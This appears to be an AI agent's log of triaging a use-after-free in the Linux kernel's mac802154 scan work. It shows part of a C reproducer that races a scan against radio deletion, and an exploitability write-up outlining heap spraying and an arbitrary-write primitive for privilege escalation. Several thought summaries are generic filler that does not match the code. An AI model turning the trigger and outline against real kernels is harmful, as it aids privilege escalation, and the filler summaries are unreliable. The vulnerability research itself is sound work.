ioctl(fd, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
printf("[-] Failed to bring %s up: %s\n", wpan_name, strerror(errno));
close(fd);
delete_radio(family_hwsim, radio_id);
continue;
}
close(fd);
// Trigger scan
trigger_scan(family_nl802154, wpan_ifindex);
// Wait a bit to race with scan worker
if (delay > 0) usleep(delay);
// Delete radio
delete_radio(family_hwsim, radio_id);
// Wait for wpanX to disappear
for (int i = 0; i < 100; i++) {
if (if_nametoindex(wpan_name) == 0) {
break;
}
usleep(10000);
}
// Wait for 50ms to allow the 30ms delayed work timer to fire
usleep(50000);
delay += 50;
if (delay > 2000) delay = 0;
printf("[+] Iteration complete, delay=%d\n", delay);
}
return 0;
}
Reply: The bug is a classic use-after-free vulnerability in the `mac802154` subsystem, specifically involving the `scan_work` (and similarly `beacon_work`) delayed work structures.
### Root Cause Analysis
When a radio is deleted (e.g., via `MAC802154_HWSIM_CMD_DEL_RADIO`), the kernel unregisters the hardware by calling `ieee802154_unregister_hw()`. This function brings down the network interfaces, which in turn calls `mac802154_slave_close()`. If a scan is ongoing, it aborts the scan by calling `mac802154_scan_cleanup_locked()`, which uses `cancel_delayed_work(&local->scan_work)` to cancel the pending scan timer.
However, `cancel_delayed_work()` does not wait for the work to finish if it is currently executing. If `mac802154_scan_worker()` is running concurrently, it can re-arm the timer by calling `queue_delayed_work()` *after* `cancel_delayed_work()` has returned.
Later, `ieee802154_unregister_hw()` calls `destroy_workqueue(local->mac_wq)`. The `destroy_workqueue()` function drains the workqueue but explicitly does *not* cancel or wait for non-pending delayed works (i.e., works whose timers have not yet fired). Finally, the `ieee802154_local` structure is freed. When the re-armed timer eventually fires, it accesses the freed `ieee802154_local` and the freed `workqueue_struct`, resulting in a use-after-free.
### Exploitability
**Exploitable: Yes**
The timer function `delayed_work_timer_fn()` will access the freed `workqueue_struct` pointer and the freed `delayed_work` structure. By spraying the heap, an attacker can reallocate the `ieee802154_local` structure with controlled data. This allows the attacker to control the `wq` pointer passed to `__queue_work()`. By pointing `wq` to a fake workqueue structure, the attacker can hijack the `insert_work()` list operations to link a controlled `list_head` into an arbitrary memory location. This provides a powerful arbitrary memory write primitive, which can be reliably used for local privilege escalation.
### Access and Triggers
**Accessible From Unprivileged Processes: No**
**Accessible From User Namespaces: No**
Triggering the bug requires starting a scan (or beaconing) on the `mac802154` interface. This is done via the `NL802154_CMD_TRIGGER_SCAN` netlink command. In the `nl802154` family definition, this command is protected by the `GENL_ADMIN_PERM` flag. The kernel's generic netlink layer checks this flag using `netlink_capable(skb, CAP_NET_ADMIN)`, which strictly verifies if the sender has `CAP_NET_ADMIN` in the **initial** user namespace (`&init_user_ns`). Therefore, unprivileged users, even if they create a new user namespace and network namespace where they hold `CAP_NET_ADMIN`, cannot bypass this check. The bug is strictly reachable only by the global root user.
**Other Triggers:**
- **Peripheral Trigger: No.** While a malicious USB device could register an IEEE 802.15.4 wpan interface, the bug still requires the host to actively send the `NL802154_CMD_TRIGGER_SCAN` netlink command to start the scan before the device is disconnected. Since this requires global root privileges, the peripheral device cannot trigger the bug autonomously.
- **Network/Remote/Filesystem/VM Triggers: No.** The bug is in a local netlink configuration path and requires local root access to trigger.
|
| 6/2 |
2026/08/14 11:16 |
llm |
expert |
0m
Model:
Tokens:
input: 11785
output: 25
thoughts: 296
Thoughts: **Debugging a Nasty Memory Issue**
Okay, so I've got this bug report, an ODEBUG warning. It's complaining about freeing an active object, specifically a `timer_list`, in the `mac802154_scan_worker` function. That immediately makes me suspicious. Let's see... the stack trace looks like a fairly standard kernel object destruction sequence: `kfree` called from `device_release` all the way up through `sys_sendto`. Pretty deep in the network stack, interestingly.
The object in question is a `timer_list` and the hint points to `mac802154_scan_worker`. My gut reaction is that's wrong, though, because `mac802154_scan_worker` *shouldn't* be a timer directly, it's a workqueue function. But wait... Could this be a delayed work item? Delayed work often uses timers under the hood, I've seen that trick before. Okay, I need to confirm that `mac802154_scan_worker` is indeed using a timer. Gotta dig into that function.
|
| 7/2 |
2026/08/14 11:16 |
tool |
grepper |
0m
Args: map[Expression:mac802154_scan_worker]
Results: map[Output:net/mac802154/ieee802154_i.h=273=int mac802154_wpan_update_llsec(struct net_device *dev);
--
net/mac802154/ieee802154_i.h-275-/* PAN management handling */
net/mac802154/ieee802154_i.h:276:void mac802154_scan_worker(struct work_struct *work);
net/mac802154/ieee802154_i.h-277-int mac802154_trigger_scan_locked(struct ieee802154_sub_if_data *sdata,
--
net/mac802154/main.c=47=ieee802154_alloc_hw(size_t priv_data_len, const struct ieee802154_ops *ops)
--
net/mac802154/main.c-100- INIT_WORK(&local->sync_tx_work, ieee802154_xmit_sync_worker);
net/mac802154/main.c:101: INIT_DELAYED_WORK(&local->scan_work, mac802154_scan_worker);
net/mac802154/main.c-102- INIT_WORK(&local->rx_beacon_work, mac802154_rx_beacon_worker);
--
net/mac802154/scan.c=153=static int mac802154_transmit_beacon_req(struct ieee802154_local *local,
--
net/mac802154/scan.c-173-
net/mac802154/scan.c:174:void mac802154_scan_worker(struct work_struct *work)
net/mac802154/scan.c-175-{
]
|
| 8/2 |
2026/08/14 11:16 |
llm |
expert |
0m
Model:
Tokens:
input: 12892
output: 57
thoughts: 120
Thoughts: **Analyzing a Timing Bug in the IEEE 802.15.4 Driver**
Okay, so I'm digging into this issue related to the IEEE 802.15.4 driver, specifically focusing on a potential race condition involving the delayed work function `scan_work`. From the code's structure, it looks like `scan_work` gets initialized during the `ieee802154_alloc_hw` process. The critical point is that this `scan_work` is tied to a timer – it's part of the `struct delayed_work`, which means it can be scheduled to run later.
The core of the problem, as I see it, is that the `hwsim_del_radio_nl` function, which handles the removal of the hardware simulation, appears to be freeing the `ieee802154_hw` or `ieee802154_local` structure. The danger is that this freeing action might happen *while* the `scan_work` timer is still pending or active. That's a classic memory corruption scenario. We've got a delayed operation that's referencing freed memory.
So, the next step is clear. I need to take a closer look at `hwsim_del_radio_nl`. I need to precisely understand how it's freeing the device structures and, crucially, when it might be happening in relation to the `scan_work` timer. We need to ascertain what mechanisms are in place to ensure that the delayed work either completes or is explicitly cancelled before the memory is deallocated. Any gaps there are a bug.
|
| 9/2 |
2026/08/14 11:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/net/ieee802154/mac802154_hwsim.c Name:hwsim_del_radio_nl]
Results: map[SourceCode: 345: static int hwsim_del_radio_nl(struct sk_buff *msg, struct genl_info *info)
346: {
347: struct hwsim_phy *phy, *tmp;
348: s64 idx = -1;
349:
350: if (!info->attrs[MAC802154_HWSIM_ATTR_RADIO_ID])
351: return -EINVAL;
352:
353: idx = nla_get_u32(info->attrs[MAC802154_HWSIM_ATTR_RADIO_ID]);
354:
355: mutex_lock(&hwsim_phys_lock);
356: list_for_each_entry_safe(phy, tmp, &hwsim_phys, list) {
357: if (idx == phy->idx) {
358: hwsim_del(phy);
359: mutex_unlock(&hwsim_phys_lock);
360: return 0;
361: }
362: }
363: mutex_unlock(&hwsim_phys_lock);
364:
365: return -ENODEV;
366: }
SourceFile:drivers/net/ieee802154/mac802154_hwsim.c]
|
| 10/2 |
2026/08/14 11:16 |
llm |
expert |
0m
Model:
Tokens:
input: 13812
output: 53
thoughts: 10
Thoughts: Okay, here's my attempt at summarizing that thought process, keeping in mind I'm speaking to a fellow expert:
**Investigating `hwsim_del`**
Alright, time to dig in. The mention of `hwsim_del` has my attention. I need to understand what's happening with that function, and what its role is in the current context. I'm going to run through some mental checks, and determine where it fits in the architecture. Let's see if the code calls into that method, and where. Is this related to memory management? Resource cleanup? Device removal? Is it a driver-specific thing or more generic? Depending on where it's being called, it will help me determine where to focus.
|
| 11/2 |
2026/08/14 11:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/net/ieee802154/mac802154_hwsim.c Name:hwsim_del]
Results: map[SourceCode: 993: static void hwsim_del(struct hwsim_phy *phy)
994: {
995: struct hwsim_pib *pib;
996: struct hwsim_edge *e;
997:
998: hwsim_edge_unsubscribe_me(phy);
999:
1000: list_del(&phy->list);
1001:
1002: rcu_read_lock();
1003: list_for_each_entry_rcu(e, &phy->edges, list) {
1004: list_del_rcu(&e->list);
1005: hwsim_free_edge(e);
1006: }
1007: pib = rcu_dereference(phy->pib);
1008: rcu_read_unlock();
1009:
1010: kfree_rcu(pib, rcu);
1011:
1012: ieee802154_unregister_hw(phy->hw);
1013: ieee802154_free_hw(phy->hw);
1014: }
SourceFile:drivers/net/ieee802154/mac802154_hwsim.c]
|
| 12/2 |
2026/08/14 11:16 |
llm |
expert |
0m
Model:
Tokens:
input: 14404
output: 49
thoughts: 35
Thoughts: Here's my take on the thought process, as if it were my own:
**Analyzing the `ieee802154_free_hw` Function Call**
Okay, so I see `ieee802154_free_hw` has been invoked. My immediate thought is, "Right, time to dig into that function and understand its execution." I need to understand *exactly* what this function is doing; in essence, it looks like this is where the hardware resource management for the IEEE 802.15.4 layer is handled, and I need to verify that it's doing it correctly. Let's see if this function is releasing all the necessary resources, de-allocating any associated memory, and ensuring a clean state before whatever comes next. I need to make sure there are no leaks or dangling pointers. This is likely a crucial point in the device lifecycle, and a potential pitfall if not implemented perfectly. I'll need to scrutinize the code very carefully for any potential issues in terms of synchronization or potential race conditions.
|
| 13/2 |
2026/08/14 11:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/main.c Name:ieee802154_free_hw]
Results: map[SourceCode: 171: void ieee802154_free_hw(struct ieee802154_hw *hw)
172: {
173: struct ieee802154_local *local = hw_to_local(hw);
174:
175: BUG_ON(!list_empty(&local->interfaces));
176:
177: mutex_destroy(&local->iflist_mtx);
178:
179: wpan_phy_free(local->phy);
180: }
SourceFile:net/mac802154/main.c]
|
| 14/2 |
2026/08/14 11:16 |
llm |
expert |
0m
Model:
Tokens:
input: 14908
output: 43
thoughts: 34
Thoughts: **Digging into the Phy Freeing Function**
Okay, hold on a second. I need to be absolutely certain about this. When `wpan_phy_free` is called, it *definitely* frees the physical layer. But a key question is lingering: does that freeing also encompass the `local` variable? That's the crux of this. We have to be meticulous about this, memory management is everything!
To confirm, the best course of action is to go straight to the source. Let's dive right into the `wpan_phy_free` function itself. I need to examine its implementation to understand its behavior fully and put my mind at ease. I'll read through the code to see if there's any freeing or manipulation of the `local` variable within the function. No assumptions, just facts.
|
| 15/2 |
2026/08/14 11:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/main.c Name:wpan_phy_free]
Results: map[SourceCode: 195: void wpan_phy_free(struct wpan_phy *phy)
196: {
197: put_device(&phy->dev);
198: }
SourceFile:net/ieee802154/core.c]
|
| 16/2 |
2026/08/14 11:16 |
llm |
expert |
0m
Model:
Tokens:
input: 15251
output: 57
thoughts: 37
Thoughts: Okay, here's my interpretation of that thought process, from an expert's perspective:
**Deconstructing Device Release: A Deep Dive**
Alright, so I'm thinking about the device release process, specifically within the context of `wpan_phy`. I see that `put_device` function call, and that immediately triggers a mental flow down the call stack. It's a fundamental pattern; `kobject_put` is the key, and that ultimately means we're going to hit the device's `release` function at some point. Now, I need to understand what's happening during this "release". I'm making a mental note to zoom in on the specific `release` function implemented for the `wpan_phy` device. What resources are being freed? What state is being cleaned up? That's where the real interesting stuff happens. The `kobject_put` call acts like a signal, but the release function is where the rubber hits the road. Let's get to the specifics and dissect that crucial code path.
|
| 17/2 |
2026/08/14 11:16 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:net/ieee802154/core.c IncludeSnippetLines:5 Name:wpan_phy_free SourceTreePrefix:]
Results: map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:ieee802154_free_hw SourceFile:net/mac802154/main.c SourceLine:179 SourceSnippet: 174:
175: BUG_ON(!list_empty(&local->interfaces));
176:
177: mutex_destroy(&local->iflist_mtx);
178:
179: wpan_phy_free(local->phy);
180: }
] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:__UNIQUE_ID_addressable_wpan_phy_free_1249 SourceFile:net/ieee802154/core.c SourceLine:199 SourceSnippet: 199: EXPORT_SYMBOL(wpan_phy_free);
] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:__gendwarfksyms_ptr_wpan_phy_free SourceFile:net/ieee802154/core.c SourceLine:199 SourceSnippet: 199: EXPORT_SYMBOL(wpan_phy_free);
] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:__gendwarfksyms_ptr_wpan_phy_free SourceFile:net/ieee802154/core.c SourceLine:199 SourceSnippet: 199: EXPORT_SYMBOL(wpan_phy_free);
]] TruncatedOutput:false]
|
| 18/2 |
2026/08/14 11:16 |
llm |
expert |
0m
Model:
Tokens:
input: 16033
output: 44
thoughts: 14
Thoughts: Here's my thought process, summarized as you requested:
**Tracing the Allocation of `wpan_phy`**
Okay, so I need to figure out where and how this `wpan_phy` structure is getting allocated in the codebase. Let's dig in. I'll need to start with some broad searches – maybe a global search for "wpan_phy" or, even better, a search for its initialization. I'll be looking for `kmalloc`, `kzalloc`, `alloc_` variants, or anything similar related to memory allocation within the relevant driver or subsystem code. I'll need to keep in mind the potential for static allocations too, although those are less likely for a PHY structure. It's likely involved in the Wireless PAN (WPAN) or, perhaps, 802.15.4 or similar wireless standards, so I'll keep that in mind as I follow the call chains. I'll check the associated header files for its declaration to see its member variables, too, just in case there are some obvious clues embedded in its structure, or initializations. This will be a classic reverse engineering exercise – starting broad, narrowing down, and following the breadcrumbs until I've found the allocation point and the context surrounding it.
|
| 19/2 |
2026/08/14 11:16 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:net/ieee802154/core.c Name:wpan_phy_alloc]
Results: map[SourceCode: SourceFile:]
|
| 20/2 |
2026/08/14 11:16 |
llm |
expert |
0m
Model:
Tokens:
input: 16380
output: 49
thoughts: 18
Thoughts: Okay, here's my attempt at summarizing the thought process, as if it were my own, assuming I'm an expert in the field:
**Initial Assessment: `ieee802154_alloc_hw`**
Right, let's dive into this `ieee802154_alloc_hw` function. Just seeing that name, I immediately start running through the likely internals in my head. I'm assuming this is the allocation routine for the hardware context related to an 802.15.4 radio, right? Specifically, I'm expecting this to handle the low-level stuff – the device-specific memory allocation, potential initialization of hardware registers, and maybe even some basic interrupt setup. I need to understand what resources are being allocated and how. Are we talking DMA channels? GPIO pins? Specific memory regions? Are there any device-specific flags or configurations this routine sets? My mind is already sketching out the probable data structures involved: the `ieee802154_hw` struct (or whatever the implementation calls it), the associated device driver data, and anything hardware-specific that needs to be tracked. I'm looking for the foundational building blocks of the 802.15.4 radio's interaction with the rest of the system. Let's see how it goes about getting these resources and initializing them.
|
| 21/2 |
2026/08/14 11:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/main.c Name:ieee802154_alloc_hw]
Results: map[SourceCode: 46: struct ieee802154_hw *
47: ieee802154_alloc_hw(size_t priv_data_len, const struct ieee802154_ops *ops)
48: {
49: struct wpan_phy *phy;
50: struct ieee802154_local *local;
51: size_t priv_size;
52:
53: if (WARN_ON(!ops || !(ops->xmit_async || ops->xmit_sync) || !ops->ed ||
54: !ops->start || !ops->stop || !ops->set_channel))
55: return NULL;
56:
57: /* Ensure 32-byte alignment of our private data and hw private data.
58: * We use the wpan_phy priv data for both our ieee802154_local and for
59: * the driver's private data
60: *
61: * in memory it'll be like this:
62: *
63: * +-------------------------+
64: * | struct wpan_phy |
65: * +-------------------------+
66: * | struct ieee802154_local |
67: * +-------------------------+
68: * | driver's private data |
69: * +-------------------------+
70: *
71: * Due to ieee802154 layer isn't aware of driver and MAC structures,
72: * so lets align them here.
73: */
74:
75: priv_size = ALIGN(sizeof(*local), NETDEV_ALIGN) + priv_data_len;
76:
77: phy = wpan_phy_new(&mac802154_config_ops, priv_size);
78: if (!phy) {
79: pr_err("failure to allocate master IEEE802.15.4 device\n");
80: return NULL;
81: }
82:
83: phy->privid = mac802154_wpan_phy_privid;
84:
85: local = wpan_phy_priv(phy);
86: local->phy = phy;
87: local->hw.phy = local->phy;
88: local->hw.priv = (char *)local + ALIGN(sizeof(*local), NETDEV_ALIGN);
89: local->ops = ops;
90:
91: INIT_LIST_HEAD(&local->interfaces);
92: INIT_LIST_HEAD(&local->rx_beacon_list);
93: INIT_LIST_HEAD(&local->rx_mac_cmd_list);
94: mutex_init(&local->iflist_mtx);
95:
96: tasklet_setup(&local->tasklet, ieee802154_tasklet_handler);
97:
98: skb_queue_head_init(&local->skb_queue);
99:
100: INIT_WORK(&local->sync_tx_work, ieee802154_xmit_sync_worker);
101: INIT_DELAYED_WORK(&local->scan_work, mac802154_scan_worker);
102: INIT_WORK(&local->rx_beacon_work, mac802154_rx_beacon_worker);
103: INIT_DELAYED_WORK(&local->beacon_work, mac802154_beacon_worker);
104: INIT_WORK(&local->rx_mac_cmd_work, mac802154_rx_mac_cmd_worker);
105:
106: init_completion(&local->assoc_done);
107:
108: /* init supported flags with 802.15.4 default ranges */
109: phy->supported.max_minbe = 8;
110: phy->supported.min_maxbe = 3;
111: phy->supported.max_maxbe = 8;
112: phy->supported.min_frame_retries = 0;
113: phy->supported.max_frame_retries = 7;
114: phy->supported.max_csma_backoffs = 5;
115: phy->supported.lbt = NL802154_SUPPORTED_BOOL_FALSE;
116:
117: /* always supported */
118: phy->supported.iftypes = BIT(NL802154_IFTYPE_NODE) | BIT(NL802154_IFTYPE_COORD);
119:
120: return &local->hw;
121: }
SourceFile:net/mac802154/main.c]
|
| 22/2 |
2026/08/14 11:16 |
llm |
expert |
0m
Model:
Tokens:
input: 18085
output: 43
thoughts: 43
Thoughts: Here's my analysis of the provided snippet, framed as my own thought process:
**Diving into the WPAN PHY Allocation**
Okay, so the code's focusing on `wpan_phy_new`. The crux of this function, I'm assuming, is to allocate the fundamental structures we need for the WPAN PHY layer, specifically the `wpan_phy` and `ieee802154_local` instances. That makes perfect sense; these are the core data containers for managing the physical layer aspects of our WPAN communication. The `wpan_phy` would encapsulate things like channel configurations, radio control, and potentially hardware access, while the `ieee802154_local` is probably holding the per-device-local information adhering to the 802.15.4 standard. Now, let's take a closer look at `wpan_phy_new` itself. I need to understand the memory allocation strategy and initialization routines. Is this a simple `kmalloc`? Are we handling any specific alignment concerns? Are there any potential memory leak risks, or resource initialization bottlenecks I need to be aware of? I'll probably be interested in how the memory is zeroed out and the initial values assigned to various parameters, as well as if any locks are being initialized. Essentially, I need to verify that this function creates a solid foundation for the PHY layer.
|
| 23/2 |
2026/08/14 11:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/main.c Name:wpan_phy_new]
Results: map[SourceCode: 96: struct wpan_phy *
97: wpan_phy_new(const struct cfg802154_ops *ops, size_t priv_size)
98: {
99: static atomic_t wpan_phy_counter = ATOMIC_INIT(0);
100: struct cfg802154_registered_device *rdev;
101: size_t alloc_size;
102:
103: alloc_size = sizeof(*rdev) + priv_size;
104: rdev = kzalloc(alloc_size, GFP_KERNEL);
105: if (!rdev)
106: return NULL;
107:
108: rdev->ops = ops;
109:
110: rdev->wpan_phy_idx = atomic_inc_return(&wpan_phy_counter);
111:
112: if (unlikely(rdev->wpan_phy_idx < 0)) {
113: /* ugh, wrapped! */
114: atomic_dec(&wpan_phy_counter);
115: kfree(rdev);
116: return NULL;
117: }
118:
119: /* atomic_inc_return makes it start at 1, make it start at 0 */
120: rdev->wpan_phy_idx--;
121:
122: INIT_LIST_HEAD(&rdev->wpan_dev_list);
123: device_initialize(&rdev->wpan_phy.dev);
124: dev_set_name(&rdev->wpan_phy.dev, PHY_NAME "%d", rdev->wpan_phy_idx);
125:
126: rdev->wpan_phy.dev.class = &wpan_phy_class;
127: rdev->wpan_phy.dev.platform_data = rdev;
128:
129: wpan_phy_net_set(&rdev->wpan_phy, &init_net);
130:
131: init_waitqueue_head(&rdev->dev_wait);
132: init_waitqueue_head(&rdev->wpan_phy.sync_txq);
133:
134: spin_lock_init(&rdev->wpan_phy.queue_lock);
135:
136: return &rdev->wpan_phy;
137: }
SourceFile:net/ieee802154/core.c]
|
| 24/2 |
2026/08/14 11:16 |
llm |
expert |
0m
Model:
Tokens:
input: 19199
output: 44
thoughts: 81
Thoughts: Here's my summary, as though I'm thinking through this process:
**Dissecting the wpan_phy Lifecycle**
Okay, so the `wpan_phy` is definitely hanging out inside the `cfg802154_registered_device` structure. That makes sense, standard practice for embedded devices. Now, I'm trying to figure out the full cleanup sequence. When `wpan_phy_free` gets called, it calls `put_device(&phy->dev)`. Right, so that's the standard device ref counting thing. But where does the *actual* freeing of the `cfg802154_registered_device` happen? My gut says it's probably the release function associated with `wpan_phy_class`, but I need to confirm that. Gotta check the definition of `wpan_phy_class` to see if my assumption's correct and to trace the full resource deallocation process. That's the key.
|
| 25/2 |
2026/08/14 11:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ieee802154/core.c Name:wpan_phy_class]
Results: map[SourceCode: 96: const struct class wpan_phy_class = {
97: .name = "ieee802154",
98: .dev_release = wpan_phy_release,
99: .dev_groups = pmib_groups,
100: .pm = WPAN_PHY_PM_OPS,
101: };
SourceFile:net/ieee802154/sysfs.c]
|
| 26/2 |
2026/08/14 11:16 |
llm |
expert |
0m
Model:
Tokens:
input: 19670
output: 45
thoughts: 12
Thoughts: Okay, here's my take on those thoughts, tailored for an expert audience:
**Analyzing the `wpan_phy_release` Function**
Alright, let's dive into this `wpan_phy_release` function. My initial thought is to immediately consider its context within the wider 802.15.4 PHY implementation. What are the key data structures involved? Is this a standard release function, or something more bespoke to the nuances of this specific PHY? I'm already mentally running through the typical lifecycle of a PHY instance. Think allocation, initialization, operation, and finally, deallocation and resource reclaim. `wpan_phy_release` has to be at the *end* of that process.
I need to quickly assess what resources it's cleaning up. Are we talking about freeing the underlying hardware registers or is it more of a software-level cleanup? Are there any potential race conditions I need to be aware of? What locking mechanisms are in place, or *should* be in place, to prevent concurrent access during this critical teardown phase? Does it take into account any potential pending transmissions or receptions? I'm particularly interested in error handling within this function; what graceful failure modes are considered, or are potential exceptions being missed? I want to make sure it's robust and doesn't leak resources, creating memory leaks. My immediate thoughts go to things like DMA descriptors, interrupt handlers, and any state variables that need to be reset to a known good value before the PHY is considered fully released. I should probably be looking for any corresponding "create" or "initialization" functions to see what resources are initially claimed, and what this function is specifically responsible for releasing. Ultimately, I want to make sure the function leaves the PHY in a clean and fully de-initialized state. This means, if I'm called to debug a problem later on, I can guarantee that whatever's being returned is in a clean state, which prevents the possibility of cross-contamination or stale data leaking into future operations.
|
| 27/2 |
2026/08/14 11:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ieee802154/sysfs.c Name:wpan_phy_release]
Results: map[SourceCode: 47: static void wpan_phy_release(struct device *dev)
48: {
49: struct cfg802154_registered_device *rdev = dev_to_rdev(dev);
50:
51: cfg802154_dev_free(rdev);
52: }
SourceFile:net/ieee802154/sysfs.c]
|
| 28/2 |
2026/08/14 11:17 |
llm |
expert |
0m
Model:
Tokens:
input: 20279
output: 50
thoughts: 14
Thoughts: Okay, here's my summary, taking on the persona you requested:
**Deconstructing the `cfg802154_dev_free` Function**
Alright, let's break down this `cfg802154_dev_free` function. I see it's responsible for freeing up resources associated with a cfg802154 device, which likely means it's the counterpart to the device's allocation function. Immediately, I'm thinking about the standard lifecycle of a device within the kernel – allocation, initialization, use, and finally, deallocation. This function is squarely in that deallocation phase.
So, what's involved in freeing a device of this type? I know from experience with similar networking device drivers that it's probably going to encompass a whole host of actions. First, I'd expect it to deal with any associated queues, timers, or interrupt handlers. These will need to be properly unregistered and de-initialized to prevent race conditions or memory leaks. Any network buffers (sk_buffs) still lingering in the system, either in the transmit or receive paths, would need to be cleaned up.
Then, there's the core device structure itself. The function is likely responsible for releasing any dynamically allocated memory associated with the device structure. This could include things like private data structures, configuration buffers, or even device-specific resources. Crucially, it must unregister the device from the system so that the kernel is aware that the device is no longer present. Finally, I'll be looking for appropriate error handling to protect the system from getting into a inconsistent state if the device is corrupted or the freeing process fails. Any attempt at freeing an already-freed device is a prime candidate for a kernel panic, so I'll be looking for protective code to avoid this.
Basically, I'm expecting this to be a tightly-written, very careful function. Any mistake here could lead to instability or even crashes, so this function would have to be very robust.
|
| 29/2 |
2026/08/14 11:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ieee802154/sysfs.c Name:cfg802154_dev_free]
Results: map[SourceCode: 270: void cfg802154_dev_free(struct cfg802154_registered_device *rdev)
271: {
272: kfree(rdev);
273: }
SourceFile:net/ieee802154/core.c]
|
| 30/2 |
2026/08/14 11:17 |
llm |
expert |
0m
Model:
Tokens:
input: 20867
output: 49
thoughts: 192
Thoughts: **My Analysis of the 802.15.4 Device Deallocation**
Okay, so I'm looking at `cfg802154_dev_free`. My initial thought is, "Simple, just `kfree(rdev)`," right? But hang on a second... `rdev` isn't *just* the radio device; it contains `wpan_phy`, and that's immediately followed by `ieee802154_local`. And that `ieee802154_local` struct? It holds `scan_work`, which is a `delayed_work` structure. That's immediately making me think about potential concurrency issues.
Now, if `hwsim_del_radio_nl` is called (which, in a simulation environment, it will be), that then leads to `ieee802154_free_hw`, which then calls `wpan_phy_free`, and that calls `put_device`, which *finally* calls `kfree(rdev)`. So, the entire device deallocation is a layered process.
The key observation is `ieee802154_unregister_hw` is called *before* `ieee802154_free_hw`. The unregistering should handle the deregistration from the system, but I need to understand this better. I need to dig into `ieee802154_unregister_hw` to make sure there aren't any potential race conditions or dangling references lurking in the code. I'm going to look at the unregistering process next.
|
| 31/2 |
2026/08/14 11:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/mac802154/main.c Name:ieee802154_unregister_hw]
Results: map[SourceCode: 273: void ieee802154_unregister_hw(struct ieee802154_hw *hw)
274: {
275: struct ieee802154_local *local = hw_to_local(hw);
276:
277: tasklet_kill(&local->tasklet);
278: flush_workqueue(local->workqueue);
279:
280: rtnl_lock();
281:
282: ieee802154_remove_interfaces(local);
283:
284: rtnl_unlock();
285:
286: destroy_workqueue(local->mac_wq);
287: destroy_workqueue(local->workqueue);
288: wpan_phy_unregister(local->phy);
289: }
SourceFile:net/mac802154/main.c]
|
| 32/2 |
2026/08/14 11:17 |
llm |
expert |
0m
Model:
Tokens:
input: 21745
output: 53
thoughts: 138
Thoughts: **My Analysis of the IEEE 802.15.4 Unregistration Process**
Okay, so I'm looking at `ieee802154_unregister_hw` and it's calling `flush_workqueue(local->workqueue)`. Hmm, that seems... potentially problematic. Specifically, I know that `scan_work` is a `delayed_work`. Now, `flush_workqueue` *does* flush the workqueue, making sure currently executing work items are finished, but it doesn't cancel any pending timers, right? It just waits for the ones in progress. So, if the timer associated with `scan_work` is still pending, the call to `flush_workqueue` won't actually stop it.
Hang on, I'm pretty sure that the function that *does* cancel those pending delayed works is `cancel_delayed_work_sync`. So, the obvious question is: is `cancel_delayed_work_sync` called anywhere related to `scan_work` in this unregistration path? I better go check and see if we're actually handling the cancellation of that delayed work correctly. This could lead to a dangling pointer or a race condition if not handled correctly.
|
| 33/2 |
2026/08/14 11:17 |
tool |
codesearch-find-references |
0m
Error:
Args: map[ContextFile:net/mac802154/main.c IncludeSnippetLines:5 Name:scan_work SourceTreePrefix:]
Results: map[References:<nil> TruncatedOutput:false]
|
| 34/2 |
2026/08/14 11:17 |
llm |
expert |
0m
Model:
Tokens:
input: 22219
output: 64
thoughts: 44
Thoughts: Here's my thought process, as if I were analyzing that code:
**Thinking Through the Scan Work Mechanism**
Okay, hold on a second. I need to retrace my steps. The code I was just looking at – right, `scan_work` is actually defined as a field *within* the `ieee802154_local` struct. I completely missed that initially. That's crucial. I need to keep that in mind. Okay, back to the search... I should really focus my search terms now and use the fully-qualified name: `ieee802154_local::scan_work`. That's going to be much more precise and hopefully get me to the relevant definitions and usages quicker. I want to see how this work queue is initialized, how it's used, what dependencies it has. Let's see what that search turns up.
|
| 35/2 |
2026/08/14 11:17 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:net/mac802154/main.c IncludeSnippetLines:5 Name:ieee802154_local::scan_work SourceTreePrefix:]
Results: map[References:[map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:ieee802154_alloc_hw SourceFile:net/mac802154/main.c SourceLine:101 SourceSnippet: 96: tasklet_setup(&local->tasklet, ieee802154_tasklet_handler);
97:
98: skb_queue_head_init(&local->skb_queue);
99:
100: INIT_WORK(&local->sync_tx_work, ieee802154_xmit_sync_worker);
101: INIT_DELAYED_WORK(&local->scan_work, mac802154_scan_worker);
102: INIT_WORK(&local->rx_beacon_work, mac802154_rx_beacon_worker);
103: INIT_DELAYED_WORK(&local->beacon_work, mac802154_beacon_worker);
104: INIT_WORK(&local->rx_mac_cmd_work, mac802154_rx_mac_cmd_worker);
105:
106: init_completion(&local->assoc_done);
] map[ReferenceKind:takes-address-of ReferencingEntityKind:function ReferencingEntityName:ieee802154_alloc_hw SourceFile:net/mac802154/main.c SourceLine:101 SourceSnippet: 96: tasklet_setup(&local->tasklet, ieee802154_tasklet_handler);
97:
98: skb_queue_head_init(&local->skb_queue);
99:
100: INIT_WORK(&local->sync_tx_work, ieee802154_xmit_sync_worker);
101: INIT_DELAYED_WORK(&local->scan_work, mac802154_scan_worker);
102: INIT_WORK(&local->rx_beacon_work, mac802154_rx_beacon_worker);
103: INIT_DELAYED_WORK(&local->beacon_work, mac802154_beacon_worker);
104: INIT_WORK(&local->rx_mac_cmd_work, mac802154_rx_mac_cmd_worker);
105:
106: init_completion(&local->assoc_done);
